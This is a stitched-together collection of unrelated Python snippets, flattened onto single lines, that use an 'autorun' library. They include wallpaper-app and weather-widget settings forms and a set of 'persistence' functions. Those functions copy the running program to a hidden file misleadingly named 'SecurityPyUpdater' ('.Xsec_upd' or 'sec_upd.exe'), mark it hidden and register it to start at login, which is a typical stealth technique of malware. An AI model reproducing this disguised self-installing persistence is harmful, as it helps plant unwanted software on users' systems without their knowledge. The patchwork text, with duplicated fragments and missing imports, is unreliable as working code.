def persistence_install() -> bool: """Install persistence.\n""" # TODO: test on Linux # TODO: test on Windows if not autorun.exists('SecurityPyUpdater'): path = os.path.abspath(sys.argv[0]) if platform == 'windows': target_to_autostart = str( Path.home()) + os.path.normcase('/demo/sec_upd.exe') else: target_to_autostart = str(Path.home()) + '/.Xsec_upd' if not os.path.isfile(target_to_autostart): shutil.copyfile(path, target_to_autostart) if platform == 'windows': # Try to hide file adding hidden attribute to it try: subprocess.check_call(["attrib", "+H", target_to_autostart]) except Exception as exception: print(exception) return False else: # Give executable permission to file try: subprocess.Popen('chmod 700 ' + target_to_autostart, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) except Exception as exception: print(exception) return False autorun.add('SecurityPyUpdater', target_to_autostart) return True return False
def on_autoRun_triggered(self, checked): if checked: autorun.add("HeartbeatRollCall", sys.argv[0]) else: autorun.remove("HeartbeatRollCall") print('exists("test_xxx")---------', autorun.exists("HeartbeatRollCall"))
def __init__(self, parent=None, settings=None): """ Constructor @param parent reference to the parent widget (QWidget) """ super().__init__(parent) self.setupUi(self) self.autoRun.setChecked(autorun.exists('BingNiceWallpapers')) self.storePathEdit.setText( os.path.join(settings.value("pathToWallpaperDir"), '必应好壁纸壁纸库')) self.storePathEdit_2.setText( os.path.join(settings.value("pathToLikedWallpaperDir"), '收藏的必应壁纸')) self.timeEdit.setTime(QTime.fromMSecsSinceStartOfDay(int(settings.value("timeoutInterval"))))
def __init__(self, parent=None, settings=None): """ Constructor @param parent reference to the parent widget (QWidget) """ super().__init__(parent) self.setupUi(self) self.autoRun.setChecked(autorun.exists('BingNiceWallpapers')) self.storePathEdit.setText( os.path.join(settings.value("pathToWallpaperDir"), '必应好壁纸壁纸库')) self.storePathEdit_2.setText( os.path.join(settings.value("pathToLikedWallpaperDir"), '收藏的壁纸')) self.timeEdit.setTime( QTime(0, 0, 0, 0).addMSecs(int(settings.value("timeoutInterval"))))
def persistence_status() -> bool: """Check if persistence is installed.\n""" if autorun.exists('SecurityPyUpdater'): return True return False
def persistence_remove() -> bool: """Uninstall persistence (disable autorun but can't delete himself).\n""" if autorun.exists('SecurityPyUpdater'): autorun.remove('SecurityPyUpdater') return True return False
import autorun import sys import os if os.name == "nt": platform = "windows" elif os.name == "posix": platform = "posix" else: sys.exit("System not supported!") if autorun.exists("SecurityPyUpdater"): print('Autorun exists!\nRemoving it...\n') try: autorun.remove("SecurityPyUpdater") except Exception as exception: print(exception) if platform == 'windows': target_to_autostart = str(Path.home()) + os.path.normcase('/demo/sec_upd.exe') else: target_to_autostart = str(Path.home()) + '/.Xsec_upd' if os.path.isfile(target_to_autostart): print('File exist in default path!\nDeleting it...\n') try: os.remove(target_to_autostart) except Exception as exception: print(exception)
def load_config_into_form(self): global state_lock state_lock = True self.liststore1.clear() self.liststore1.append([_('Never')]) self.liststore1.append([_('Only at start')]) self.liststore1.append([_('Always')]) self.liststore2.clear() self.liststore2.append([_('No')]) self.liststore2.append([_('Only background')]) self.liststore2.append([_('Yes')]) self.load(self.spinbutton_upd_time) self.load(self.checkbutton_t_feel) self.load(self.checkbutton_fix_BadDrawable) self.load(self.spinbutton_x_pos) self.load(self.spinbutton_y_pos) self.load(self.spinbutton_margin) self.load(self.spinbutton_opacity) self.load(self.checkbutton_fix_position) self.load(self.checkbutton_sticky) self.load(self.spinbutton_block_today_left) self.load(self.checkbutton_show_block_today) self.load(self.spinbutton_block_tomorrow_left) self.load(self.checkbutton_show_block_tomorrow) self.load(self.spinbutton_block_wind_direct_left) self.load(self.checkbutton_show_block_wind_direct) self.load(self.spinbutton_angel) self.load(self.checkbutton_wind_direct_small) self.load(self.spinbutton_block_add_info_left) self.load(self.checkbutton_show_block_add_info) self.load(self.spinbutton_n) self.load(self.checkbutton_show_time_receive) self.load(self.combobox_check_for_updates) self.load(self.combobox_show_splash_screen) self.load(self.spinbutton_max_try_show) self.fontbutton_font.set_font_name(gw_config_set['font']) self.load(self.colorbutton_color_text) self.load(self.colorbutton_color_text_week) self.load(self.colorbutton_color_shadow) self.load(self.colorbutton_color_high_wind) self.load(self.colorbutton_color_bg) self.load(self.checkbutton_draw_shadow) self.load(self.spinbutton_high_wind) self.load(self.checkbutton_show_bg_png) self.load(self.spinbutton_r) self.load(self.spinbutton_delay_start_time) self.liststore3.clear() for i in range(len(icons_list_set)): self.liststore3.append([icons_list_set[i]]) if icons_list_set[i] == gw_config_set['icons_name']: self.combobox_icons_name.set_active(i) self.liststore4.clear() for i in range(len(backgrounds_list_set)): self.liststore4.append([backgrounds_list_set[i]]) if backgrounds_list_set[i] == gw_config_set['bg_custom']: self.combobox_bg_custom.set_active(i) if autorun.exists("gis-weather"): self.checkbutton_autorun.set_active(True) self.liststore5.clear() for i in range(len(available_lang)): self.liststore5.append([available_lang[i]]) if available_lang[i] == gw_config_set['app_lang']: self.combobox_app_lang.set_active(i) self.liststore6.clear() for i in range(len(weather_lang_list)): self.liststore6.append([weather_lang_list[i]]) if weather_lang_list[i] == gw_config_set['weather_lang']: self.combobox_weather_lang.set_active(i) state_lock = False